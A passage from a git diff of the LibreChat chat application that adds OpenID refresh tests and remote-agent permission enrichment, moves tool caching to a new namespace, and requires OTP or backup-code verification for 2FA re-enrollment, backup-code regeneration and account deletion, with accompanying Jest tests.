+ expect(res.status).toHaveBeenCalledWith(401);
+ expect(getGraphApiToken).not.toHaveBeenCalled();
+ });
+
+ it('should return 500 when getGraphApiToken throws', async () => {
+ getGraphApiToken.mockRejectedValue(new Error('OBO exchange failed'));
+
+ await graphTokenController(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(500);
+ expect(res.json).toHaveBeenCalledWith({
+ message: 'Failed to obtain Microsoft Graph token',
+ });
+ });
+});
+
+describe('refreshController – OpenID path', () => {
+ const mockTokenset = {
+ claims: jest.fn(),
+ access_token: 'new-access',
+ id_token: 'new-id',
+ refresh_token: 'new-refresh',
+ };
+
+ const baseClaims = {
+ sub: 'oidc-sub-123',
+ oid: 'oid-456',
+ email: 'user@example.com',
+ exp: 9999999999,
+ };
+
+ let req, res;
+
+ beforeEach(() => {
+ jest.clearAllMocks();
+
+ isEnabled.mockReturnValue(true);
+ getOpenIdConfig.mockReturnValue({ some: 'config' });
+ openIdClient.refreshTokenGrant.mockResolvedValue(mockTokenset);
+ mockTokenset.claims.mockReturnValue(baseClaims);
+ getOpenIdEmail.mockReturnValue(baseClaims.email);
+ setOpenIDAuthTokens.mockReturnValue('new-app-token');
+ updateUser.mockResolvedValue({});
+
+ req = {
+ headers: { cookie: 'token_provider=openid; refreshToken=stored-refresh' },
+ session: {},
+ };
+
+ res = {
+ status: jest.fn().mockReturnThis(),
+ send: jest.fn().mockReturnThis(),
+ redirect: jest.fn(),
+ };
+ });
+
+ it('should call getOpenIdEmail with token claims and use result for findOpenIDUser', async () => {
+ const user = {
+ _id: 'user-db-id',
+ email: baseClaims.email,
+ openidId: baseClaims.sub,
+ };
+ findOpenIDUser.mockResolvedValue({ user, error: null, migration: false });
+
+ await refreshController(req, res);
+
+ expect(getOpenIdEmail).toHaveBeenCalledWith(baseClaims);
+ expect(findOpenIDUser).toHaveBeenCalledWith(
+ expect.objectContaining({ email: baseClaims.email }),
+ );
+ expect(res.status).toHaveBeenCalledWith(200);
+ });
+
+ it('should use OPENID_EMAIL_CLAIM-resolved value when claim is present in token', async () => {
+ const claimsWithUpn = { ...baseClaims, upn: 'user@corp.example.com' };
+ mockTokenset.claims.mockReturnValue(claimsWithUpn);
+ getOpenIdEmail.mockReturnValue('user@corp.example.com');
+
+ const user = {
+ _id: 'user-db-id',
+ email: 'user@corp.example.com',
+ openidId: baseClaims.sub,
+ };
+ findOpenIDUser.mockResolvedValue({ user, error: null, migration: false });
+
+ await refreshController(req, res);
+
+ expect(getOpenIdEmail).toHaveBeenCalledWith(claimsWithUpn);
+ expect(findOpenIDUser).toHaveBeenCalledWith(
+ expect.objectContaining({ email: 'user@corp.example.com' }),
+ );
+ expect(res.status).toHaveBeenCalledWith(200);
+ });
+
+ it('should fall back to claims.email when configured claim is absent from token claims', async () => {
+ getOpenIdEmail.mockReturnValue(baseClaims.email);
+
+ const user = {
+ _id: 'user-db-id',
+ email: baseClaims.email,
+ openidId: baseClaims.sub,
+ };
+ findOpenIDUser.mockResolvedValue({ user, error: null, migration: false });
+
+ await refreshController(req, res);
+
+ expect(findOpenIDUser).toHaveBeenCalledWith(
+ expect.objectContaining({ email: baseClaims.email }),
+ );
+ });
+
+ it('should update openidId when migration is triggered on refresh', async () => {
+ const user = { _id: 'user-db-id', email: baseClaims.email, openidId: null };
+ findOpenIDUser.mockResolvedValue({ user, error: null, migration: true });
+
+ await refreshController(req, res);
+
+ expect(updateUser).toHaveBeenCalledWith(
+ 'user-db-id',
+ expect.objectContaining({ provider: 'openid', openidId: baseClaims.sub }),
+ );
+ expect(res.status).toHaveBeenCalledWith(200);
+ });
+
+ it('should return 401 and redirect to /login when findOpenIDUser returns no user', async () => {
+ findOpenIDUser.mockResolvedValue({ user: null, error: null, migration: false });
+
+ await refreshController(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(401);
+ expect(res.redirect).toHaveBeenCalledWith('/login');
+ });
+
+ it('should return 401 and redirect when findOpenIDUser returns an error', async () => {
+ findOpenIDUser.mockResolvedValue({ user: null, error: 'AUTH_FAILED', migration: false });
+
+ await refreshController(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(401);
+ expect(res.redirect).toHaveBeenCalledWith('/login');
+ });
+
+ it('should skip OpenID path when token_provider is not openid', async () => {
+ req.headers.cookie = 'token_provider=local; refreshToken=some-token';
+
+ await refreshController(req, res);
+
+ expect(openIdClient.refreshTokenGrant).not.toHaveBeenCalled();
+ });
+
+ it('should skip OpenID path when OPENID_REUSE_TOKENS is disabled', async () => {
+ isEnabled.mockReturnValue(false);
+
+ await refreshController(req, res);
+
+ expect(openIdClient.refreshTokenGrant).not.toHaveBeenCalled();
+ });
+
+ it('should return 200 with token not provided when refresh token is absent', async () => {
+ req.headers.cookie = 'token_provider=openid';
+ req.session = {};
+
+ await refreshController(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(200);
+ expect(res.send).toHaveBeenCalledWith('Refresh token not provided');
+ });
+});
diff --git a/api/server/controllers/PermissionsController.js b/api/server/controllers/PermissionsController.js
index e22e9532c9..51993d083c 100644
--- a/api/server/controllers/PermissionsController.js
+++ b/api/server/controllers/PermissionsController.js
@@ -5,6 +5,7 @@
const mongoose = require('mongoose');
const { logger } = require('@librechat/data-schemas');
const { ResourceType, PrincipalType, PermissionBits } = require('librechat-data-provider');
+const { enrichRemoteAgentPrincipals, backfillRemoteAgentPermissions } = require('@librechat/api');
const {
bulkUpdateResourcePermissions,
ensureGroupPrincipalExists,
@@ -14,7 +15,6 @@ const {
findAccessibleResources,
getResourcePermissionsMap,
} = require('~/server/services/PermissionService');
-const { AclEntry } = require('~/db/models');
const {
searchPrincipals: searchLocalPrincipals,
sortPrincipalsByRelevance,
@@ -24,6 +24,7 @@ const {
entraIdPrincipalFeatureEnabled,
searchEntraIdPrincipals,
} = require('~/server/services/GraphApiService');
+const { AclEntry, AccessRole } = require('~/db/models');
/**
* Generic controller for resource permission endpoints
@@ -234,7 +235,7 @@ const getResourcePermissions = async (req, res) => {
},
]);
- const principals = [];
+ let principals = [];
let publicPermission = null;
// Process aggregation results
@@ -280,6 +281,13 @@ const getResourcePermissions = async (req, res) => {
}
}
+ if (resourceType === ResourceType.REMOTE_AGENT) {
+ const enricherDeps = { AclEntry, AccessRole, logger };
+ const enrichResult = await enrichRemoteAgentPrincipals(enricherDeps, resourceId, principals);
+ principals = enrichResult.principals;
+ backfillRemoteAgentPermissions(enricherDeps, resourceId, enrichResult.entriesToBackfill);
+ }
+
// Return response in format expected by frontend
const response = {
resourceType,
diff --git a/api/server/controllers/PluginController.js b/api/server/controllers/PluginController.js
index c5e074b8ff..279ffb15fd 100644
--- a/api/server/controllers/PluginController.js
+++ b/api/server/controllers/PluginController.js
@@ -8,7 +8,7 @@ const { getLogStores } = require('~/cache');
const getAvailablePluginsController = async (req, res) => {
try {
- const cache = getLogStores(CacheKeys.CONFIG_STORE);
+ const cache = getLogStores(CacheKeys.TOOL_CACHE);
const cachedPlugins = await cache.get(CacheKeys.PLUGINS);
if (cachedPlugins) {
res.status(200).json(cachedPlugins);
@@ -63,7 +63,7 @@ const getAvailableTools = async (req, res) => {
logger.warn('[getAvailableTools] User ID not found in request');
return res.status(401).json({ message: 'Unauthorized' });
}
- const cache = getLogStores(CacheKeys.CONFIG_STORE);
+ const cache = getLogStores(CacheKeys.TOOL_CACHE);
const cachedToolsArray = await cache.get(CacheKeys.TOOLS);
const appConfig = req.config ?? (await getAppConfig({ role: req.user?.role }));
diff --git a/api/server/controllers/PluginController.spec.js b/api/server/controllers/PluginController.spec.js
index d7d3f83a8b..06a51a3bd6 100644
--- a/api/server/controllers/PluginController.spec.js
+++ b/api/server/controllers/PluginController.spec.js
@@ -1,3 +1,4 @@
+const { CacheKeys } = require('librechat-data-provider');
const { getCachedTools, getAppConfig } = require('~/server/services/Config');
const { getLogStores } = require('~/cache');
@@ -63,6 +64,28 @@ describe('PluginController', () => {
});
});
+ describe('cache namespace', () => {
+ it('getAvailablePluginsController should use TOOL_CACHE namespace', async () => {
+ mockCache.get.mockResolvedValue([]);
+ await getAvailablePluginsController(mockReq, mockRes);
+ expect(getLogStores).toHaveBeenCalledWith(CacheKeys.TOOL_CACHE);
+ });
+
+ it('getAvailableTools should use TOOL_CACHE namespace', async () => {
+ mockCache.get.mockResolvedValue([]);
+ await getAvailableTools(mockReq, mockRes);
+ expect(getLogStores).toHaveBeenCalledWith(CacheKeys.TOOL_CACHE);
+ });
+
+ it('should NOT use CONFIG_STORE namespace for tool/plugin operations', async () => {
+ mockCache.get.mockResolvedValue([]);
+ await getAvailablePluginsController(mockReq, mockRes);
+ await getAvailableTools(mockReq, mockRes);
+ const allCalls = getLogStores.mock.calls.flat();
+ expect(allCalls).not.toContain(CacheKeys.CONFIG_STORE);
+ });
+ });
+
describe('getAvailablePluginsController', () => {
it('should use filterUniquePlugins to remove duplicate plugins', async () => {
// Add plugins with duplicates to availableTools
diff --git a/api/server/controllers/TwoFactorController.js b/api/server/controllers/TwoFactorController.js
index fde5965261..18a0ee3f5a 100644
--- a/api/server/controllers/TwoFactorController.js
+++ b/api/server/controllers/TwoFactorController.js
@@ -1,5 +1,6 @@
const { encryptV3, logger } = require('@librechat/data-schemas');
const {
+ verifyOTPOrBackupCode,
generateBackupCodes,
generateTOTPSecret,
verifyBackupCode,
@@ -13,24 +14,42 @@ const safeAppTitle = (process.env.APP_TITLE || 'LibreChat').replace(/\s+/g, '');
/**
* Enable 2FA for the user by generating a new TOTP secret and backup codes.
* The secret is encrypted and stored, and 2FA is marked as disabled until confirmed.
+ * If 2FA is already enabled, requires OTP or backup code verification to re-enroll.
*/
const enable2FA = async (req, res) => {
try {
const userId = req.user.id;
+ const existingUser = await getUserById(
+ userId,
+ '+totpSecret +backupCodes _id twoFactorEnabled email',
+ );
+
+ if (existingUser && existingUser.twoFactorEnabled) {
+ const { token, backupCode } = req.body;
+ const result = await verifyOTPOrBackupCode({
+ user: existingUser,
+ token,
+ backupCode,
+ persistBackupUse: false,
+ });
+
+ if (!result.verified) {
+ const msg = result.message ?? 'TOTP token or backup code is required to re-enroll 2FA';
+ return res.status(result.status ?? 400).json({ message: msg });
+ }
+ }
+
const secret = generateTOTPSecret();
const { plainCodes, codeObjects } = await generateBackupCodes();
-
- // Encrypt the secret with v3 encryption before saving.
const encryptedSecret = encryptV3(secret);
- // Update the user record: store the secret & backup codes and set twoFactorEnabled to false.
const user = await updateUser(userId, {
- totpSecret: encryptedSecret,
- backupCodes: codeObjects,
- twoFactorEnabled: false,
+ pendingTotpSecret: encryptedSecret,
+ pendingBackupCodes: codeObjects,
});
- const otpauthUrl = `otpauth://totp/${safeAppTitle}:${user.email}?secret=${secret}&issuer=${safeAppTitle}`;
+ const email = user.email || (existingUser && existingUser.email) || '';
+ const otpauthUrl = `otpauth://totp/${safeAppTitle}:${email}?secret=${secret}&issuer=${safeAppTitle}`;
return res.status(200).json({ otpauthUrl, backupCodes: plainCodes });
} catch (err) {
@@ -46,13 +65,14 @@ const verify2FA = async (req, res) => {
try {
const userId = req.user.id;
const { token, backupCode } = req.body;
- const user = await getUserById(userId, '_id totpSecret backupCodes');
+ const user = await getUserById(userId, '+totpSecret +pendingTotpSecret +backupCodes _id');
+ const secretSource = user?.pendingTotpSecret ?? user?.totpSecret;
- if (!user || !user.totpSecret) {
+ if (!user || !secretSource) {
return res.status(400).json({ message: '2FA not initiated' });
}
- const secret = await getTOTPSecret(user.totpSecret);
+ const secret = await getTOTPSecret(secretSource);
let isVerified = false;
if (token) {
@@ -78,15 +98,28 @@ const confirm2FA = async (req, res) => {
try {
const userId = req.user.id;
const { token } = req.body;
- const user = await getUserById(userId, '_id totpSecret');
+ const user = await getUserById(
+ userId,
+ '+totpSecret +pendingTotpSecret +pendingBackupCodes _id',
+ );
+ const secretSource = user?.pendingTotpSecret ?? user?.totpSecret;
- if (!user || !user.totpSecret) {
+ if (!user || !secretSource) {
return res.status(400).json({ message: '2FA not initiated' });
}
- const secret = await getTOTPSecret(user.totpSecret);
+ const secret = await getTOTPSecret(secretSource);
if (await verifyTOTP(secret, token)) {
- await updateUser(userId, { twoFactorEnabled: true });
+ const update = {
+ totpSecret: user.pendingTotpSecret ?? user.totpSecret,
+ twoFactorEnabled: true,
+ pendingTotpSecret: null,
+ pendingBackupCodes: [],
+ };
+ if (user.pendingBackupCodes?.length) {
+ update.backupCodes = user.pendingBackupCodes;
+ }
+ await updateUser(userId, update);
return res.status(200).json();
}
return res.status(400).json({ message: 'Invalid token.' });
@@ -104,31 +137,27 @@ const disable2FA = async (req, res) => {
try {
const userId = req.user.id;
const { token, backupCode } = req.body;
- const user = await getUserById(userId, '_id totpSecret backupCodes');
+ const user = await getUserById(userId, '+totpSecret +backupCodes _id twoFactorEnabled');
if (!user || !user.totpSecret) {
return res.status(400).json({ message: '2FA is not setup for this user' });
}
if (user.twoFactorEnabled) {
- const secret = await getTOTPSecret(user.totpSecret);
- let isVerified = false;
+ const result = await verifyOTPOrBackupCode({ user, token, backupCode });
- if (token) {
- isVerified = await verifyTOTP(secret, token);
- } else if (backupCode) {
- isVerified = await verifyBackupCode({ user, backupCode });
- } else {
- return res
- .status(400)
- .json({ message: 'Either token or backup code is required to disable 2FA' });
- }
-
- if (!isVerified) {
- return res.status(401).json({ message: 'Invalid token or backup code' });
+ if (!result.verified) {
+ const msg = result.message ?? 'Either token or backup code is required to disable 2FA';
+ return res.status(result.status ?? 400).json({ message: msg });
}
}
- await updateUser(userId, { totpSecret: null, backupCodes: [], twoFactorEnabled: false });
+ await updateUser(userId, {
+ totpSecret: null,
+ backupCodes: [],
+ twoFactorEnabled: false,
+ pendingTotpSecret: null,
+ pendingBackupCodes: [],
+ });
return res.status(200).json();
} catch (err) {
logger.error('[disable2FA]', err);
@@ -138,10 +167,28 @@ const disable2FA = async (req, res) => {
/**
* Regenerate backup codes for the user.
+ * Requires OTP or backup code verification if 2FA is already enabled.
*/
const regenerateBackupCodes = async (req, res) => {
try {
const userId = req.user.id;
+ const user = await getUserById(userId, '+totpSecret +backupCodes _id twoFactorEnabled');
+
+ if (!user) {
+ return res.status(404).json({ message: 'User not found' });
+ }
+
+ if (user.twoFactorEnabled) {
+ const { token, backupCode } = req.body;
+ const result = await verifyOTPOrBackupCode({ user, token, backupCode });
+
+ if (!result.verified) {
+ const msg =
+ result.message ?? 'TOTP token or backup code is required to regenerate backup codes';
+ return res.status(result.status ?? 400).json({ message: msg });
+ }
+ }
+
const { plainCodes, codeObjects } = await generateBackupCodes();
await updateUser(userId, { backupCodes: codeObjects });
return res.status(200).json({
diff --git a/api/server/controllers/UserController.js b/api/server/controllers/UserController.js
index b0cfd7ede2..b3160bb3d3 100644
--- a/api/server/controllers/UserController.js
+++ b/api/server/controllers/UserController.js
@@ -14,6 +14,7 @@ const {
deleteMessages,
deletePresets,
deleteUserKey,
+ getUserById,
deleteConvos,
deleteFiles,
updateUser,
@@ -22,6 +23,7 @@ const {
} = require('~/models');
const {
ConversationTag,
+ AgentApiKey,
Transaction,
MemoryEntry,
Assistant,
@@ -33,8 +35,10 @@ const {
User,
} = require('~/db/models');
const { updateUserPluginAuth, deleteUserPluginAuth } = require('~/server/services/PluginService');
+const { verifyOTPOrBackupCode } = require('~/server/services/twoFactorService');
const { verifyEmail, resendVerificationEmail } = require('~/server/services/AuthService');
const { getMCPManager, getFlowStateManager, getMCPServersRegistry } = require('~/config');
+const { invalidateCachedTools } = require('~/server/services/Config/getCachedTools');
const { needsRefresh, getNewS3URL } = require('~/server/services/Files/S3/crud');
const { processDeleteRequest } = require('~/server/services/Files/process');
const { getAppConfig } = require('~/server/services/Config');
@@ -214,6 +218,7 @@ const updateUserPluginsController = async (req, res) => {
`[updateUserPluginsController] Attempting disconnect of MCP server "${serverName}" for user ${user.id} after plugin auth update.`,
);
await mcpManager.disconnectUserConnection(user.id, serverName);
+ await invalidateCachedTools({ userId: user.id, serverName });
}
} catch (disconnectError) {
logger.error(
@@ -238,6 +243,22 @@ const deleteUserController = async (req, res) => {
const { user } = req;
try {
+ const existingUser = await getUserById(
+ user.id,
+ '+totpSecret +backupCodes _id twoFactorEnabled',
+ );
+ if (existingUser && existingUser.twoFactorEnabled) {
+ const { token, backupCode } = req.body;
+ const result = await verifyOTPOrBackupCode({ user: existingUser, token, backupCode });
+
+ if (!result.verified) {
+ const msg =
+ result.message ??
+ 'TOTP token or backup code is required to delete account with 2FA enabled';
+ return res.status(result.status ?? 400).json({ message: msg });
+ }
+ }
+
await deleteMessages({ user: user.id }); // delete user messages
await deleteAllUserSessions({ userId: user.id }); // delete user sessions
await Transaction.deleteMany({ user: user.id }); // delete user transactions
@@ -256,6 +277,7 @@ const deleteUserController = async (req, res) => {
await deleteFiles(null, user.id); // delete database files in case of orphaned files from previous steps
await deleteToolCalls(user.id); // delete user tool calls
await deleteUserAgents(user.id); // delete user agents
+ await AgentApiKey.deleteMany({ user: user._id }); // delete user agent API keys
await Assistant.deleteMany({ user: user.id }); // delete user assistants
await ConversationTag.deleteMany({ user: user.id }); // delete user conversation tags
await MemoryEntry.deleteMany({ userId: user.id }); // delete user memory entries
diff --git a/api/server/controllers/__tests__/TwoFactorController.spec.js b/api/server/controllers/__tests__/TwoFactorController.spec.js
new file mode 100644
index 0000000000..62531d94a1
--- /dev/null
+++ b/api/server/controllers/__tests__/TwoFactorController.spec.js
@@ -0,0 +1,264 @@
+const mockGetUserById = jest.fn();
+const mockUpdateUser = jest.fn();
+const mockVerifyOTPOrBackupCode = jest.fn();
+const mockGenerateTOTPSecret = jest.fn();
+const mockGenerateBackupCodes = jest.fn();
+const mockEncryptV3 = jest.fn();
+
+jest.mock('@librechat/data-schemas', () => ({
+ encryptV3: (...args) => mockEncryptV3(...args),
+ logger: { error: jest.fn() },
+}));
+
+jest.mock('~/server/services/twoFactorService', () => ({
+ verifyOTPOrBackupCode: (...args) => mockVerifyOTPOrBackupCode(...args),
+ generateBackupCodes: (...args) => mockGenerateBackupCodes(...args),
+ generateTOTPSecret: (...args) => mockGenerateTOTPSecret(...args),
+ verifyBackupCode: jest.fn(),
+ getTOTPSecret: jest.fn(),
+ verifyTOTP: jest.fn(),
+}));
+
+jest.mock('~/models', () => ({
+ getUserById: (...args) => mockGetUserById(...args),
+ updateUser: (...args) => mockUpdateUser(...args),
+}));
+
+const { enable2FA, regenerateBackupCodes } = require('~/server/controllers/TwoFactorController');
+
+function createRes() {
+ const res = {};
+ res.status = jest.fn().mockReturnValue(res);
+ res.json = jest.fn().mockReturnValue(res);
+ return res;
+}
+
+const PLAIN_CODES = ['code1', 'code2', 'code3'];
+const CODE_OBJECTS = [
+ { codeHash: 'h1', used: false, usedAt: null },
+ { codeHash: 'h2', used: false, usedAt: null },
+ { codeHash: 'h3', used: false, usedAt: null },
+];
+
+beforeEach(() => {
+ jest.clearAllMocks();
+ mockGenerateTOTPSecret.mockReturnValue('NEWSECRET');
+ mockGenerateBackupCodes.mockResolvedValue({ plainCodes: PLAIN_CODES, codeObjects: CODE_OBJECTS });
+ mockEncryptV3.mockReturnValue('encrypted-secret');
+});
+
+describe('enable2FA', () => {
+ it('allows first-time setup without token — writes to pending fields', async () => {
+ const req = { user: { id: 'user1' }, body: {} };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue({ _id: 'user1', twoFactorEnabled: false, email: 'a@b.com' });
+ mockUpdateUser.mockResolvedValue({ email: 'a@b.com' });
+
+ await enable2FA(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(200);
+ expect(res.json).toHaveBeenCalledWith(
+ expect.objectContaining({ otpauthUrl: expect.any(String), backupCodes: PLAIN_CODES }),
+ );
+ expect(mockVerifyOTPOrBackupCode).not.toHaveBeenCalled();
+ const updateCall = mockUpdateUser.mock.calls[0][1];
+ expect(updateCall).toHaveProperty('pendingTotpSecret', 'encrypted-secret');
+ expect(updateCall).toHaveProperty('pendingBackupCodes', CODE_OBJECTS);
+ expect(updateCall).not.toHaveProperty('twoFactorEnabled');
+ expect(updateCall).not.toHaveProperty('totpSecret');
+ expect(updateCall).not.toHaveProperty('backupCodes');
+ });
+
+ it('re-enrollment writes to pending fields, leaving live 2FA intact', async () => {
+ const req = { user: { id: 'user1' }, body: { token: '123456' } };
+ const res = createRes();
+ const existingUser = {
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ email: 'a@b.com',
+ };
+ mockGetUserById.mockResolvedValue(existingUser);
+ mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
+ mockUpdateUser.mockResolvedValue({ email: 'a@b.com' });
+
+ await enable2FA(req, res);
+
+ expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
+ user: existingUser,
+ token: '123456',
+ backupCode: undefined,
+ persistBackupUse: false,
+ });
+ expect(res.status).toHaveBeenCalledWith(200);
+ const updateCall = mockUpdateUser.mock.calls[0][1];
+ expect(updateCall).toHaveProperty('pendingTotpSecret', 'encrypted-secret');
+ expect(updateCall).toHaveProperty('pendingBackupCodes', CODE_OBJECTS);
+ expect(updateCall).not.toHaveProperty('twoFactorEnabled');
+ expect(updateCall).not.toHaveProperty('totpSecret');
+ });
+
+ it('allows re-enrollment with valid backup code (persistBackupUse: false)', async () => {
+ const req = { user: { id: 'user1' }, body: { backupCode: 'backup123' } };
+ const res = createRes();
+ const existingUser = {
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ email: 'a@b.com',
+ };
+ mockGetUserById.mockResolvedValue(existingUser);
+ mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
+ mockUpdateUser.mockResolvedValue({ email: 'a@b.com' });
+
+ await enable2FA(req, res);
+
+ expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith(
+ expect.objectContaining({ persistBackupUse: false }),
+ );
+ expect(res.status).toHaveBeenCalledWith(200);
+ });
+
+ it('returns error when no token provided and 2FA is enabled', async () => {
+ const req = { user: { id: 'user1' }, body: {} };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue({
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ });
+ mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: false, status: 400 });
+
+ await enable2FA(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(400);
+ expect(mockUpdateUser).not.toHaveBeenCalled();
+ });
+
+ it('returns 401 when invalid token provided and 2FA is enabled', async () => {
+ const req = { user: { id: 'user1' }, body: { token: 'wrong' } };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue({
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ });
+ mockVerifyOTPOrBackupCode.mockResolvedValue({
+ verified: false,
+ status: 401,
+ message: 'Invalid token or backup code',
+ });
+
+ await enable2FA(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(401);
+ expect(res.json).toHaveBeenCalledWith({ message: 'Invalid token or backup code' });
+ expect(mockUpdateUser).not.toHaveBeenCalled();
+ });
+});
+
+describe('regenerateBackupCodes', () => {
+ it('returns 404 when user not found', async () => {
+ const req = { user: { id: 'user1' }, body: {} };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue(null);
+
+ await regenerateBackupCodes(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(404);
+ expect(res.json).toHaveBeenCalledWith({ message: 'User not found' });
+ });
+
+ it('requires OTP when 2FA is enabled', async () => {
+ const req = { user: { id: 'user1' }, body: { token: '123456' } };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue({
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ });
+ mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
+ mockUpdateUser.mockResolvedValue({});
+
+ await regenerateBackupCodes(req, res);
+
+ expect(mockVerifyOTPOrBackupCode).toHaveBeenCalled();
+ expect(res.status).toHaveBeenCalledWith(200);
+ expect(res.json).toHaveBeenCalledWith({
+ backupCodes: PLAIN_CODES,
+ backupCodesHash: CODE_OBJECTS,
+ });
+ });
+
+ it('returns error when no token provided and 2FA is enabled', async () => {
+ const req = { user: { id: 'user1' }, body: {} };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue({
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ });
+ mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: false, status: 400 });
+
+ await regenerateBackupCodes(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(400);
+ });
+
+ it('returns 401 when invalid token provided and 2FA is enabled', async () => {
+ const req = { user: { id: 'user1' }, body: { token: 'wrong' } };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue({
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ });
+ mockVerifyOTPOrBackupCode.mockResolvedValue({
+ verified: false,
+ status: 401,
+ message: 'Invalid token or backup code',
+ });
+
+ await regenerateBackupCodes(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(401);
+ expect(res.json).toHaveBeenCalledWith({ message: 'Invalid token or backup code' });
+ });
+
+ it('includes backupCodesHash in response', async () => {
+ const req = { user: { id: 'user1' }, body: { token: '123456' } };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue({
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ });
+ mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
+ mockUpdateUser.mockResolvedValue({});
+
+ await regenerateBackupCodes(req, res);
+
+ const responseBody = res.json.mock.calls[0][0];
+ expect(responseBody).toHaveProperty('backupCodesHash', CODE_OBJECTS);
+ expect(responseBody).toHaveProperty('backupCodes', PLAIN_CODES);
+ });
+
+ it('allows regeneration without token when 2FA is not enabled', async () => {
+ const req = { user: { id: 'user1' }, body: {} };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue({
+ _id: 'user1',
+ twoFactorEnabled: false,
+ });
+ mockUpdateUser.mockResolvedValue({});
+
+ await regenerateBackupCodes(req, res);
+
+ expect(mockVerifyOTPOrBackupCode).not.toHaveBeenCalled();
+ expect(res.status).toHaveBeenCalledWith(200);
+ expect(res.json).toHaveBeenCalledWith({
+ backupCodes: PLAIN_CODES,
+ backupCodesHash: CODE_OBJECTS,
+ });
+ });
+});
diff --git a/api/server/controllers/__tests__/deleteUser.spec.js b/api/server/controllers/__tests__/deleteUser.spec.js
new file mode 100644
index 0000000000..d0f54a046f
--- /dev/null
+++ b/api/server/controllers/__tests__/deleteUser.spec.js
@@ -0,0 +1,302 @@
+const mockGetUserById = jest.fn();
+const mockDeleteMessages = jest.fn();
+const mockDeleteAllUserSessions = jest.fn();
+const mockDeleteUserById = jest.fn();
+const mockDeleteAllSharedLinks = jest.fn();
+const mockDeletePresets = jest.fn();
+const mockDeleteUserKey = jest.fn();
+const mockDeleteConvos = jest.fn();
+const mockDeleteFiles = jest.fn();
+const mockGetFiles = jest.fn();
+const mockUpdateUserPlugins = jest.fn();
+const mockUpdateUser = jest.fn();
+const mockFindToken = jest.fn();
+const mockVerifyOTPOrBackupCode = jest.fn();
+const mockDeleteUserPluginAuth = jest.fn();
+const mockProcessDeleteRequest = jest.fn();
+const mockDeleteToolCalls = jest.fn();
+const mockDeleteUserAgents = jest.fn();
+const mockDeleteUserPrompts = jest.fn();
+
+jest.mock('@librechat/data-schemas', () => ({
+ logger: { error: jest.fn(), info: jest.fn() },
+ webSearchKeys: [],
+}));
+
+jest.mock('librechat-data-provider', () => ({
+ Tools: {},
+ CacheKeys: {},
+ Constants: { mcp_delimiter: '::', mcp_prefix: 'mcp_' },
+ FileSources: {},
+}));
+
+jest.mock('@librechat/api', () => ({
+ MCPOAuthHandler: {},
+ MCPTokenStorage: {},
+ normalizeHttpError: jest.fn(),
+ extractWebSearchEnvVars: jest.fn(),
+}));
+
+jest.mock('~/models', () => ({
+ deleteAllUserSessions: (...args) => mockDeleteAllUserSessions(...args),
+ deleteAllSharedLinks: (...args) => mockDeleteAllSharedLinks(...args),
+ updateUserPlugins: (...args) => mockUpdateUserPlugins(...args),
+ deleteUserById: (...args) => mockDeleteUserById(...args),
+ deleteMessages: (...args) => mockDeleteMessages(...args),
+ deletePresets: (...args) => mockDeletePresets(...args),
+ deleteUserKey: (...args) => mockDeleteUserKey(...args),
+ getUserById: (...args) => mockGetUserById(...args),
+ deleteConvos: (...args) => mockDeleteConvos(...args),
+ deleteFiles: (...args) => mockDeleteFiles(...args),
+ updateUser: (...args) => mockUpdateUser(...args),
+ findToken: (...args) => mockFindToken(...args),
+ getFiles: (...args) => mockGetFiles(...args),
+}));
+
+jest.mock('~/db/models', () => ({
+ ConversationTag: { deleteMany: jest.fn() },
+ AgentApiKey: { deleteMany: jest.fn() },
+ Transaction: { deleteMany: jest.fn() },
+ MemoryEntry: { deleteMany: jest.fn() },
+ Assistant: { deleteMany: jest.fn() },
+ AclEntry: { deleteMany: jest.fn() },
+ Balance: { deleteMany: jest.fn() },
+ Action: { deleteMany: jest.fn() },
+ Group: { updateMany: jest.fn() },
+ Token: { deleteMany: jest.fn() },
+ User: {},
+}));
+
+jest.mock('~/server/services/PluginService', () => ({
+ updateUserPluginAuth: jest.fn(),
+ deleteUserPluginAuth: (...args) => mockDeleteUserPluginAuth(...args),
+}));
+
+jest.mock('~/server/services/twoFactorService', () => ({
+ verifyOTPOrBackupCode: (...args) => mockVerifyOTPOrBackupCode(...args),
+}));
+
+jest.mock('~/server/services/AuthService', () => ({
+ verifyEmail: jest.fn(),
+ resendVerificationEmail: jest.fn(),
+}));
+
+jest.mock('~/config', () => ({
+ getMCPManager: jest.fn(),
+ getFlowStateManager: jest.fn(),
+ getMCPServersRegistry: jest.fn(),
+}));
+
